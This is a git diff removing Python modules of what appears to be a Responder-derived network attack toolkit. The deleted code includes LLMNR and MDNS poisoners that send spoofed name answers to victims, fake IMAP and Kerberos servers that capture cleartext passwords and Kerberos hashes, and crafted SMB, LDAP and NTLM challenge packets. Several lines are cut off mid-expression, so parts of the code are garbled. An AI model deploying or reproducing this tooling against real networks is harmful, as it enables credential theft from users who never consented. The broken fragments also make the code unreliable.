- ("proto", "\xff\x53\x4d\x42"),
- ("cmd", "\x72"),
- ("error-code", "\x00\x00\x00\x00" ),
- ("flag1", "\x08"),
- ("flag2", "\x01\x00"),
- ("pidhigh", "\x00\x00"),
- ("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
- ("reserved", "\x00\x00"),
- ("tid", "\x00\x00"),
- ("pid", "\x3c\x1b"),
- ("uid", "\x00\x00"),
- ("mid", "\x00\x00"),
- ])
-
-class SMBNegoData(Packet):
- fields = OrderedDict([
- ("wordcount", "\x00"),
- ("bcc", "\x54\x00"),
- ("separator1","\x02" ),
- ("dialect1", "\x50\x43\x20\x4e\x45\x54\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31\x2e\x30\x00"),
- ("separator2","\x02"),
- ("dialect2", "\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"),
- ])
- def calculate(self):
- CalculateBCC = str(self.fields["separator1"])+str(self.fields["dialect1"])+str(self.fields["separator2"])+str(self.fields["dialect2"])
- self.fields["bcc"] = struct.pack(".
-import struct
-from odict import OrderedDict
-
-class Packet():
- fields = OrderedDict([
- ("data", ""),
- ])
- def __init__(self, **kw):
- self.fields = OrderedDict(self.__class__.fields)
- for k,v in kw.items():
- if callable(v):
- self.fields[k] = v(self.fields[k])
- else:
- self.fields[k] = v
- def __str__(self):
- return "".join(map(str, self.fields.values()))
-##################################################################################
-#SMB Client Stuff
-##################################################################################
-
-def longueur(payload):
- length = struct.pack(">i", len(''.join(payload)))
- return length
-
-class SMBHeader(Packet):
- fields = OrderedDict([
- ("proto", "\xff\x53\x4d\x42"),
- ("cmd", "\x72"),
- ("error-code", "\x00\x00\x00\x00" ),
- ("flag1", "\x00"),
- ("flag2", "\x00\x00"),
- ("pidhigh", "\x00\x00"),
- ("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
- ("reserved", "\x00\x00"),
- ("tid", "\x00\x00"),
- ("pid", "\x00\x4e"),
- ("uid", "\x00\x08"),
- ("mid", "\x00\x00"),
- ])
-
-class SMBNego(Packet):
- fields = OrderedDict([
- ("Wordcount", "\x00"),
- ("Bcc", "\x62\x00"),
- ("Data", "")
- ])
-
- def calculate(self):
- self.fields["Bcc"] = struct.pack("i", len(''.join(payload)))
- return length
-
-#Set MID SMB Header field.
-def midcalc(data):
- pack=data[34:36]
- return pack
-
-#Set UID SMB Header field.
-def uidcalc(data):
- pack=data[32:34]
- return pack
-
-#Set PID SMB Header field.
-def pidcalc(data):
- pack=data[30:32]
- return pack
-
-#Set TID SMB Header field.
-def tidcalc(data):
- pack=data[28:30]
- return pack
-
-#SMB Header answer packet.
-class SMBHeader(Packet):
- fields = OrderedDict([
- ("proto", "\xff\x53\x4d\x42"),
- ("cmd", "\x72"),
- ("errorcode", "\x00\x00\x00\x00" ),
- ("flag1", "\x80"),
- ("flag2", "\x00\x00"),
- ("pidhigh", "\x00\x00"),
- ("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
- ("reserved", "\x00\x00"),
- ("tid", "\x00\x00"),
- ("pid", "\xff\xfe"),
- ("uid", "\x00\x00"),
- ("mid", "\x00\x00"),
- ])
-
-#SMB Negotiate Answer packet.
-class SMBNegoAns(Packet):
- fields = OrderedDict([
- ("Wordcount", "\x11"),
- ("Dialect", ""),
- ("Securitymode", "\x03"),
- ("MaxMpx", "\x32\x00"),
- ("MaxVc", "\x01\x00"),
- ("Maxbuffsize", "\x04\x11\x00\x00"),
- ("Maxrawbuff", "\x00\x00\x01\x00"),
- ("Sessionkey", "\x00\x00\x00\x00"),
- ("Capabilities", "\xfd\x43\x00\x00"),
- ("Systemtime", "\xc2\x74\xf2\x53\x70\x02\xcf\x01\x2c\x01"),
- ("Keylength", "\x08"),
- ("Bcc", "\x10\x00"),
- ("Key", "\x0d\x0d\x0d\x0d\x0d\x0d\x0d\x0d"),
- ("Domain", ""),
-
- ])
-
- def calculate(self):
-
- ##Then calculate.
- CompleteBCCLen = str(self.fields["Key"])+str(self.fields["Domain"])
- self.fields["Bcc"] = struct.pack(".
-import struct
-from core.responder.odict import OrderedDict
-from core.responder.packet import Packet
-
-#IMAP4 Greating class
-class IMAPGreating(Packet):
- fields = OrderedDict([
- ("Code", "* OK IMAP4 service is ready."),
- ("CRLF", "\r\n"),
- ])
-
-#IMAP4 Capability class
-class IMAPCapability(Packet):
- fields = OrderedDict([
- ("Code", "* CAPABILITY IMAP4 IMAP4rev1 AUTH=PLAIN"),
- ("CRLF", "\r\n"),
- ])
-
-#IMAP4 Capability class
-class IMAPCapabilityEnd(Packet):
- fields = OrderedDict([
- ("Tag", ""),
- ("Message", " OK CAPABILITY completed."),
- ("CRLF", "\r\n"),
- ])
diff --git a/core/responder/imap/IMAPserver.py b/core/responder/imap/IMAPserver.py
deleted file mode 100644
index 91d4725..0000000
--- a/core/responder/imap/IMAPserver.py
+++ /dev/null
@@ -1,53 +0,0 @@
-import logging
-import threading
-
-from SocketServer import TCPServer, ThreadingMixIn, BaseRequestHandler
-from IMAPPackets import *
-from core.responder.common import *
-from core.logger import logger
-
-formatter = logging.Formatter("%(asctime)s [IMAPserver] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
-log = logger().setup_logger("IMAPserver", formatter)
-
-class IMAPserver():
-
- def start(self):
- try:
- log.debug("online")
- server = ThreadingTCPServer(("0.0.0.0", 143), IMAP)
- t = threading.Thread(name="IMAPserver", target=server.serve_forever)
- t.setDaemon(True)
- t.start()
- except Exception as e:
- log.error("Error starting on port {}: {}".format(143, e))
-
-class ThreadingTCPServer(ThreadingMixIn, TCPServer):
-
- allow_reuse_address = 1
-
- def server_bind(self):
- TCPServer.server_bind(self)
-
-#ESMTP server class.
-class IMAP(BaseRequestHandler):
-
- def handle(self):
- try:
- self.request.send(str(IMAPGreating()))
- data = self.request.recv(1024)
- if data[5:15] == "CAPABILITY":
- RequestTag = data[0:4]
- self.request.send(str(IMAPCapability()))
- self.request.send(str(IMAPCapabilityEnd(Tag=RequestTag)))
- data = self.request.recv(1024)
- if data[5:10] == "LOGIN":
- Credentials = data[10:].strip()
- Outfile = "./logs/responder/IMAP-Clear-Text-Password-"+self.client_address[0]+".txt"
- WriteData(Outfile,Credentials, Credentials)
- #print '[+]IMAP Credentials from %s. ("User" "Pass"): %s'%(self.client_address[0],Credentials)
- log.info('IMAP Credentials from {}. ("User" "Pass"): {}'.format(self.client_address[0],Credentials))
- self.request.send(str(ditchthisconnection()))
- data = self.request.recv(1024)
-
- except Exception as e:
- log.error("Error handling request: {}".format(e))
diff --git a/core/responder/imap/__init__.py b/core/responder/imap/__init__.py
deleted file mode 100644
index e69de29..0000000
diff --git a/core/responder/kerberos/KERBserver.py b/core/responder/kerberos/KERBserver.py
deleted file mode 100644
index 837b7eb..0000000
--- a/core/responder/kerberos/KERBserver.py
+++ /dev/null
@@ -1,157 +0,0 @@
-import socket
-import threading
-import struct
-import logging
-
-from core.logger import logger
-from SocketServer import UDPServer, TCPServer, ThreadingMixIn, BaseRequestHandler
-
-formatter = logging.Formatter("%(asctime)s [KERBserver] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
-log = logger().setup_logger("KERBserver", formatter)
-
-class KERBserver():
-
- def serve_thread_udp(self, host, port, handler):
- try:
- server = ThreadingUDPServer((host, port), handler)
- server.serve_forever()
- except Exception as e:
- log.debug("Error starting UDP server on port 88: {}:".format(e))
-
- def serve_thread_tcp(self, host, port, handler):
- try:
- server = ThreadingTCPServer((host, port), handler)
- server.serve_forever()
- except Exception as e:
- log.debug("Error starting TCP server on port 88: {}:".format(e))
-
- def start(self):
- log.debug("online")
- t1 = threading.Thread(name="KERBserverUDP", target=self.serve_thread_udp, args=("0.0.0.0", 88,KerbUDP))
- t2 = threading.Thread(name="KERBserverTCP", target=self.serve_thread_tcp, args=("0.0.0.0", 88, KerbTCP))
- for t in [t1,t2]:
- t.setDaemon(True)
- t.start()
-
-class ThreadingUDPServer(ThreadingMixIn, UDPServer):
-
- allow_reuse_address = 1
-
- def server_bind(self):
- UDPServer.server_bind(self)
-
-class ThreadingTCPServer(ThreadingMixIn, TCPServer):
-
- allow_reuse_address = 1
-
- def server_bind(self):
- TCPServer.server_bind(self)
-
-class KerbTCP(BaseRequestHandler):
-
- def handle(self):
- try:
- data = self.request.recv(1024)
- KerbHash = ParseMSKerbv5TCP(data)
- if KerbHash:
- log.info('MSKerbv5 complete hash is: {}'.format(KerbHash))
- except Exception:
- raise
-
-class KerbUDP(BaseRequestHandler):
-
- def handle(self):
- try:
- data, soc = self.request
- KerbHash = ParseMSKerbv5UDP(data)
- if KerbHash:
- log.info('MSKerbv5 complete hash is: {}'.format(KerbHash))
- except Exception:
- raise
-
-def ParseMSKerbv5TCP(Data):
- MsgType = Data[21:22]
- EncType = Data[43:44]
- MessageType = Data[32:33]
- if MsgType == "\x0a" and EncType == "\x17" and MessageType =="\x02":
- if Data[49:53] == "\xa2\x36\x04\x34" or Data[49:53] == "\xa2\x35\x04\x33":
- HashLen = struct.unpack('.
-
-import struct
-from core.responder.odict import OrderedDict
-from core.responder.packet import Packet
-
-class LDAPSearchDefaultPacket(Packet):
- fields = OrderedDict([
- ("ParserHeadASNID", "\x30"),
- ("ParserHeadASNLen", "\x0c"),
- ("MessageIDASNID", "\x02"),
- ("MessageIDASNLen", "\x01"),
- ("MessageIDASNStr", "\x0f"),
- ("OpHeadASNID", "\x65"),
- ("OpHeadASNIDLen", "\x07"),
- ("SearchDoneSuccess", "\x0A\x01\x00\x04\x00\x04\x00"),#No Results.
- ])
-
-class LDAPSearchSupportedCapabilitiesPacket(Packet):
- fields = OrderedDict([
- ("ParserHeadASNID", "\x30"),
- ("ParserHeadASNLenOfLen", "\x84"),
- ("ParserHeadASNLen", "\x00\x00\x00\x7e"),#126
- ("MessageIDASNID", "\x02"),
- ("MessageIDASNLen", "\x01"),
- ("MessageIDASNStr", "\x02"),
- ("OpHeadASNID", "\x64"),
- ("OpHeadASNIDLenOfLen", "\x84"),
- ("OpHeadASNIDLen", "\x00\x00\x00\x75"),#117
- ("ObjectName", "\x04\x00"),
- ("SearchAttribASNID", "\x30"),
- ("SearchAttribASNLenOfLen", "\x84"),
- ("SearchAttribASNLen", "\x00\x00\x00\x6d"),#109
- ("SearchAttribASNID1", "\x30"),
- ("SearchAttribASN1LenOfLen", "\x84"),
- ("SearchAttribASN1Len", "\x00\x00\x00\x67"),#103
- ("SearchAttribASN2ID", "\x04"),
- ("SearchAttribASN2Len", "\x15"),#21
- ("SearchAttribASN2Str", "supportedCapabilities"),
- ("SearchAttribASN3ID", "\x31"),
- ("SearchAttribASN3LenOfLen", "\x84"),
- ("SearchAttribASN3Len", "\x00\x00\x00\x4a"),
- ("SearchAttrib1ASNID", "\x04"),
- ("SearchAttrib1ASNLen", "\x16"),#22
- ("SearchAttrib1ASNStr", "1.2.840.113556.1.4.800"),
- ("SearchAttrib2ASNID", "\x04"),
- ("SearchAttrib2ASNLen", "\x17"),#23
- ("SearchAttrib2ASNStr", "1.2.840.113556.1.4.1670"),
- ("SearchAttrib3ASNID", "\x04"),
- ("SearchAttrib3ASNLen", "\x17"),#23
- ("SearchAttrib3ASNStr", "1.2.840.113556.1.4.1791"),
- ("SearchDoneASNID", "\x30"),
- ("SearchDoneASNLenOfLen", "\x84"),
- ("SearchDoneASNLen", "\x00\x00\x00\x10"),#16
- ("MessageIDASN2ID", "\x02"),
- ("MessageIDASN2Len", "\x01"),
- ("MessageIDASN2Str", "\x02"),
- ("SearchDoneStr", "\x65\x84\x00\x00\x00\x07\x0a\x01\x00\x04\x00\x04\x00"),
- ## No need to calculate anything this time, this packet is generic.
- ])
-
-class LDAPSearchSupportedMechanismsPacket(Packet):
- fields = OrderedDict([
- ("ParserHeadASNID", "\x30"),
- ("ParserHeadASNLenOfLen", "\x84"),
- ("ParserHeadASNLen", "\x00\x00\x00\x60"),#96
- ("MessageIDASNID", "\x02"),
- ("MessageIDASNLen", "\x01"),
- ("MessageIDASNStr", "\x02"),
- ("OpHeadASNID", "\x64"),
- ("OpHeadASNIDLenOfLen", "\x84"),
- ("OpHeadASNIDLen", "\x00\x00\x00\x57"),#87
- ("ObjectName", "\x04\x00"),
- ("SearchAttribASNID", "\x30"),
- ("SearchAttribASNLenOfLen", "\x84"),
- ("SearchAttribASNLen", "\x00\x00\x00\x4f"),#79
- ("SearchAttribASNID1", "\x30"),
- ("SearchAttribASN1LenOfLen", "\x84"),
- ("SearchAttribASN1Len", "\x00\x00\x00\x49"),#73
- ("SearchAttribASN2ID", "\x04"),
- ("SearchAttribASN2Len", "\x17"),#23
- ("SearchAttribASN2Str", "supportedSASLMechanisms"),
- ("SearchAttribASN3ID", "\x31"),
- ("SearchAttribASN3LenOfLen", "\x84"),
- ("SearchAttribASN3Len", "\x00\x00\x00\x2a"),#42
- ("SearchAttrib1ASNID", "\x04"),
- ("SearchAttrib1ASNLen", "\x06"),#6
- ("SearchAttrib1ASNStr", "GSSAPI"),
- ("SearchAttrib2ASNID", "\x04"),
- ("SearchAttrib2ASNLen", "\x0a"),#10
- ("SearchAttrib2ASNStr", "GSS-SPNEGO"),
- ("SearchAttrib3ASNID", "\x04"),
- ("SearchAttrib3ASNLen", "\x08"),#8
- ("SearchAttrib3ASNStr", "EXTERNAL"),
- ("SearchAttrib4ASNID", "\x04"),
- ("SearchAttrib4ASNLen", "\x0a"),#10
- ("SearchAttrib4ASNStr", "DIGEST-MD5"),
- ("SearchDoneASNID", "\x30"),
- ("SearchDoneASNLenOfLen", "\x84"),
- ("SearchDoneASNLen", "\x00\x00\x00\x10"),#16
- ("MessageIDASN2ID", "\x02"),
- ("MessageIDASN2Len", "\x01"),
- ("MessageIDASN2Str", "\x02"),
- ("SearchDoneStr", "\x65\x84\x00\x00\x00\x07\x0a\x01\x00\x04\x00\x04\x00"),
- ## No need to calculate anything this time, this packet is generic.
- ])
-
-class LDAPNTLMChallenge(Packet):
- fields = OrderedDict([
- ("ParserHeadASNID", "\x30"),
- ("ParserHeadASNLenOfLen", "\x84"),
- ("ParserHeadASNLen", "\x00\x00\x00\xD0"),#208
- ("MessageIDASNID", "\x02"),
- ("MessageIDASNLen", "\x01"),
- ("MessageIDASNStr", "\x02"),
- ("OpHeadASNID", "\x61"),
- ("OpHeadASNIDLenOfLen", "\x84"),
- ("OpHeadASNIDLen", "\x00\x00\x00\xc7"),#199
- ("Status", "\x0A"),
- ("StatusASNLen", "\x01"),
- ("StatusASNStr", "\x0e"), #In Progress.
- ("MatchedDN", "\x04\x00"), #Null
- ("ErrorMessage", "\x04\x00"), #Null
- ("SequenceHeader", "\x87"),
- ("SequenceHeaderLenOfLen", "\x81"),
- ("SequenceHeaderLen", "\x82"), #188
- ("NTLMSSPSignature", "NTLMSSP"),
- ("NTLMSSPSignatureNull", "\x00"),
- ("NTLMSSPMessageType", "\x02\x00\x00\x00"),
- ("NTLMSSPNtWorkstationLen","\x1e\x00"),
- ("NTLMSSPNtWorkstationMaxLen","\x1e\x00"),
- ("NTLMSSPNtWorkstationBuffOffset","\x38\x00\x00\x00"),
- ("NTLMSSPNtNegotiateFlags","\x15\x82\x89\xe2"),
- ("NTLMSSPNtServerChallenge","\x81\x22\x33\x34\x55\x46\xe7\x88"),
- ("NTLMSSPNtReserved","\x00\x00\x00\x00\x00\x00\x00\x00"),
- ("NTLMSSPNtTargetInfoLen","\x94\x00"),
- ("NTLMSSPNtTargetInfoMaxLen","\x94\x00"),
- ("NTLMSSPNtTargetInfoBuffOffset","\x56\x00\x00\x00"),
- ("NegTokenInitSeqMechMessageVersionHigh","\x05"),
- ("NegTokenInitSeqMechMessageVersionLow","\x02"),
- ("NegTokenInitSeqMechMessageVersionBuilt","\xce\x0e"),
- ("NegTokenInitSeqMechMessageVersionReserved","\x00\x00\x00"),
- ("NegTokenInitSeqMechMessageVersionNTLMType","\x0f"),
- ("NTLMSSPNtWorkstationName","SMB12"),
- ("NTLMSSPNTLMChallengeAVPairsId","\x02\x00"),
- ("NTLMSSPNTLMChallengeAVPairsLen","\x0a\x00"),
- ("NTLMSSPNTLMChallengeAVPairsUnicodeStr","smb12"),
- ("NTLMSSPNTLMChallengeAVPairs1Id","\x01\x00"),
- ("NTLMSSPNTLMChallengeAVPairs1Len","\x1e\x00"),
- ("NTLMSSPNTLMChallengeAVPairs1UnicodeStr","SERVER2008"),
- ("NTLMSSPNTLMChallengeAVPairs2Id","\x04\x00"),
- ("NTLMSSPNTLMChallengeAVPairs2Len","\x1e\x00"),
- ("NTLMSSPNTLMChallengeAVPairs2UnicodeStr","smb12.local"),
- ("NTLMSSPNTLMChallengeAVPairs3Id","\x03\x00"),
- ("NTLMSSPNTLMChallengeAVPairs3Len","\x1e\x00"),
- ("NTLMSSPNTLMChallengeAVPairs3UnicodeStr","SERVER2008.smb12.local"),
- ("NTLMSSPNTLMChallengeAVPairs5Id","\x05\x00"),
- ("NTLMSSPNTLMChallengeAVPairs5Len","\x04\x00"),
- ("NTLMSSPNTLMChallengeAVPairs5UnicodeStr","smb12.local"),
- ("NTLMSSPNTLMChallengeAVPairs6Id","\x00\x00"),
- ("NTLMSSPNTLMChallengeAVPairs6Len","\x00\x00"),
- ])
-
- def calculate(self):
-
- ##Convert strings to Unicode first...
- self.fields["NTLMSSPNtWorkstationName"] = self.fields["NTLMSSPNtWorkstationName"].encode('utf-16le')
- self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"].encode('utf-16le')
- self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"].encode('utf-16le')
- self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"].encode('utf-16le')
- self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"].encode('utf-16le')
- self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"].encode('utf-16le')
-
- ###### Workstation Offset
- CalculateOffsetWorkstation = str(self.fields["NTLMSSPSignature"])+str(self.fields["NTLMSSPSignatureNull"])+str(self.fields["NTLMSSPMessageType"])+str(self.fields["NTLMSSPNtWorkstationLen"])+str(self.fields["NTLMSSPNtWorkstationMaxLen"])+str(self.fields["NTLMSSPNtWorkstationBuffOffset"])+str(self.fields["NTLMSSPNtNegotiateFlags"])+str(self.fields["NTLMSSPNtServerChallenge"])+str(self.fields["NTLMSSPNtReserved"])+str(self.fields["NTLMSSPNtTargetInfoLen"])+str(self.fields["NTLMSSPNtTargetInfoMaxLen"])+str(self.fields["NTLMSSPNtTargetInfoBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])
-
- ###### AvPairs Offset
- CalculateLenAvpairs = str(self.fields["NTLMSSPNTLMChallengeAVPairsId"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsLen"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs2Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs3Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs5Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs6Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs6Len"])
-
- ###### LDAP Packet Len
- CalculatePacketLen = str(self.fields["MessageIDASNID"])+str(self.fields["MessageIDASNLen"])+str(self.fields["MessageIDASNStr"])+str(self.fields["OpHeadASNID"])+str(self.fields["OpHeadASNIDLenOfLen"])+str(self.fields["OpHeadASNIDLen"])+str(self.fields["Status"])+str(self.fields["StatusASNLen"])+str(self.fields["StatusASNStr"])+str(self.fields["MatchedDN"])+str(self.fields["ErrorMessage"])+str(self.fields["SequenceHeader"])+str(self.fields["SequenceHeaderLen"])+str(self.fields["SequenceHeaderLenOfLen"])+CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"])+CalculateLenAvpairs
-
-
- OperationPacketLen = str(self.fields["Status"])+str(self.fields["StatusASNLen"])+str(self.fields["StatusASNStr"])+str(self.fields["MatchedDN"])+str(self.fields["ErrorMessage"])+str(self.fields["SequenceHeader"])+str(self.fields["SequenceHeaderLen"])+str(self.fields["SequenceHeaderLenOfLen"])+CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"])+CalculateLenAvpairs
-
- NTLMMessageLen = CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"])+CalculateLenAvpairs
-
- ##### LDAP Len Calculation:
- self.fields["ParserHeadASNLen"] = struct.pack(">i", len(CalculatePacketLen))
- self.fields["OpHeadASNIDLen"] = struct.pack(">i", len(OperationPacketLen))
- self.fields["SequenceHeaderLen"] = struct.pack(">B", len(NTLMMessageLen))
-
- ##### Workstation Offset Calculation:
- self.fields["NTLMSSPNtWorkstationBuffOffset"] = struct.pack(" 10:
- LMhashOffset = struct.unpack('i',data[2:6])[0]
- MessageSequence = struct.unpack('i',data[11:15])[0]
- LDAPVersion = struct.unpack(' {}".format(OURIP))
- server = ThreadingUDPLLMNRServer(("0.0.0.0", 5355), LLMNR)
- t = threading.Thread(name="LLMNRpoisoner", target=server.serve_forever) #LLMNR
- t.setDaemon(True)
- t.start()
- except Exception as e:
- log.error("Error starting on port 5355: {}:".format(e))
-
-class ThreadingUDPLLMNRServer(ThreadingMixIn, UDPServer):
-
- allow_reuse_address = 1
-
- def server_bind(self):
- MADDR = "224.0.0.252"
- self.socket.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
- self.socket.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255)
- Join = self.socket.setsockopt(socket.IPPROTO_IP,socket.IP_ADD_MEMBERSHIP,socket.inet_aton(MADDR) + socket.inet_aton(OURIP))
-
- UDPServer.server_bind(self)
-
-#LLMNR Answer packet.
-class LLMNRAns(Packet):
- fields = OrderedDict([
- ("Tid", ""),
- ("Flags", "\x80\x00"),
- ("Question", "\x00\x01"),
- ("AnswerRRS", "\x00\x01"),
- ("AuthorityRRS", "\x00\x00"),
- ("AdditionalRRS", "\x00\x00"),
- ("QuestionNameLen", "\x09"),
- ("QuestionName", ""),
- ("QuestionNameNull", "\x00"),
- ("Type", "\x00\x01"),
- ("Class", "\x00\x01"),
- ("AnswerNameLen", "\x09"),
- ("AnswerName", ""),
- ("AnswerNameNull", "\x00"),
- ("Type1", "\x00\x01"),
- ("Class1", "\x00\x01"),
- ("TTL", "\x00\x00\x00\x1e"),##Poison for 30 sec.
- ("IPLen", "\x00\x04"),
- ("IP", "\x00\x00\x00\x00"),
- ])
-
- def calculate(self):
- self.fields["IP"] = socket.inet_aton(OURIP)
- self.fields["IPLen"] = struct.pack(">h",len(self.fields["IP"]))
- self.fields["AnswerNameLen"] = struct.pack(">h",len(self.fields["AnswerName"]))[1]
- self.fields["QuestionNameLen"] = struct.pack(">h",len(self.fields["QuestionName"]))[1]
-
-def Parse_LLMNR_Name(data):
- NameLen = struct.unpack('>B',data[12])[0]
- Name = data[13:13+NameLen]
- return Name
-
-# LLMNR Server class.
-class LLMNR(BaseRequestHandler):
-
- def handle(self):
-
- ResponderConfig = ConfigWatcher().config['Responder']
- DontRespondTo = ResponderConfig['DontRespondTo']
- DontRespondToName = ResponderConfig['DontRespondToName']
- RespondTo = ResponderConfig['RespondTo']
- RespondToName = ResponderConfig['RespondToName']
-
- data, soc = self.request
- try:
- if data[2:4] == "\x00\x00":
- if Parse_IPV6_Addr(data):
- Name = Parse_LLMNR_Name(data)
- if args.analyze:
- if args.finger:
- try:
- Finger = RunSmbFinger((self.client_address[0],445))
- log.warning("{} is looking for: {} | OS: {} | Client Version: {}".format(self.client_address[0], Name,Finger[0],Finger[1]))
- except Exception:
- log.warning("{} is looking for: {}".format(self.client_address[0], Name))
- else:
- log.warning("{} is looking for: {}".format(self.client_address[0], Name))
-
- if DontRespondToSpecificHost(DontRespondTo):
- if RespondToIPScope(DontRespondTo, self.client_address[0]):
- return None
-
- if DontRespondToSpecificName(DontRespondToName) and DontRespondToNameScope(DontRespondToName.upper(), Name.upper()):
- return None
-
- if RespondToSpecificHost(RespondTo):
- if args.analyze == False:
- if RespondToIPScope(RespondTo, self.client_address[0]):
- if RespondToSpecificName(RespondToName) == False:
- buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name)
- buff.calculate()
- for x in range(1):
- soc.sendto(str(buff), self.client_address)
- log.warning("Poisoned answer sent to {} the requested name was: {}".format(self.client_address[0],Name))
- if args.finger:
- try:
- Finger = RunSmbFinger((self.client_address[0],445))
- log.info('OS: {} | ClientVersion: {}'.format(Finger[0], Finger[1]))
- except Exception:
- log.info('Fingerprint failed for host: {}'.format(self.client_address[0]))
- pass
-
- if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()):
- buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name)
- buff.calculate()
- for x in range(1):
- soc.sendto(str(buff), self.client_address)
- log.warning("[LLMNRPoisoner] Poisoned answer sent to {} the requested name was: {}".format(self.client_address[0],Name))
- if args.finger:
- try:
- Finger = RunSmbFinger((self.client_address[0],445))
- log.info('OS: {} | ClientVersion: {}'.format(Finger[0], Finger[1]))
- except Exception:
- log.info('Fingerprint failed for host: {}'.format(self.client_address[0]))
- pass
-
- if args.analyze == False and RespondToSpecificHost(RespondTo) == False:
- if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()):
- buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name)
- buff.calculate()
- for x in range(1):
- soc.sendto(str(buff), self.client_address)
- log.warning("Poisoned answer sent to {} the requested name was: {}".format(self.client_address[0], Name))
- if args.finger:
- try:
- Finger = RunSmbFinger((self.client_address[0],445))
- log.info('OS: {} | ClientVersion: {}'.format(Finger[0], Finger[1]))
- except Exception:
- log.info('Fingerprint failed for host: {}'.format(self.client_address[0]))
- pass
- if RespondToSpecificName(RespondToName) == False:
- buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name)
- buff.calculate()
- for x in range(1):
- soc.sendto(str(buff), self.client_address)
- log.warning("Poisoned answer sent to {} the requested name was: {}".format(self.client_address[0], Name))
- if args.finger:
- try:
- Finger = RunSmbFinger((self.client_address[0],445))
- log.info('OS: {} | ClientVersion: {}'.format(Finger[0], Finger[1]))
- except Exception:
- log.info('Fingerprint failed for host: {}'.format(self.client_address[0]))
- pass
- else:
- pass
- else:
- pass
- except:
- raise
\ No newline at end of file
diff --git a/core/responder/llmnr/__init__.py b/core/responder/llmnr/__init__.py
deleted file mode 100644
index e69de29..0000000
diff --git a/core/responder/mdns/MDNSpoisoner.py b/core/responder/mdns/MDNSpoisoner.py
deleted file mode 100644
index fbd6698..0000000
--- a/core/responder/mdns/MDNSpoisoner.py
+++ /dev/null
@@ -1,115 +0,0 @@
-import threading
-import socket
-import struct
-import logging
-
-from SocketServer import UDPServer, ThreadingMixIn, BaseRequestHandler
-from core.configwatcher import ConfigWatcher
-from core.responder.odict import OrderedDict
-from core.responder.packet import Packet
-from core.responder.common import *
-from core.logger import logger
-
-formatter = logging.Formatter("%(asctime)s [MDNSpoisoner] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
-log = logger().setup_logger("MDNSpoisoner", formatter)
-
-class MDNSpoisoner():
-
- def start(self, options, ourip):
-
- global args; args = options
- global OURIP; OURIP = ourip
-
- try:
- log.debug("OURIP => {}".format(OURIP))
- server = ThreadingUDPMDNSServer(("0.0.0.0", 5353), MDNS)
- t = threading.Thread(name="MDNSpoisoner", target=server.serve_forever)
- t.setDaemon(True)
- t.start()
- except Exception, e:
- log.error("Error starting on port 5353: {}" .format(e))
-
-class ThreadingUDPMDNSServer(ThreadingMixIn, UDPServer):
-
- allow_reuse_address = 1
-
- def server_bind(self):
- MADDR = "224.0.0.251"
- self.socket.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
- self.socket.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255)
- Join = self.socket.setsockopt(socket.IPPROTO_IP,socket.IP_ADD_MEMBERSHIP, socket.inet_aton(MADDR)+ socket.inet_aton(OURIP))
- UDPServer.server_bind(self)
-
-class MDNSAns(Packet):
- fields = OrderedDict([
- ("Tid", "\x00\x00"),
- ("Flags", "\x84\x00"),
- ("Question", "\x00\x00"),
- ("AnswerRRS", "\x00\x01"),
- ("AuthorityRRS", "\x00\x00"),
- ("AdditionalRRS", "\x00\x00"),
- ("AnswerName", ""),
- ("AnswerNameNull", "\x00"),
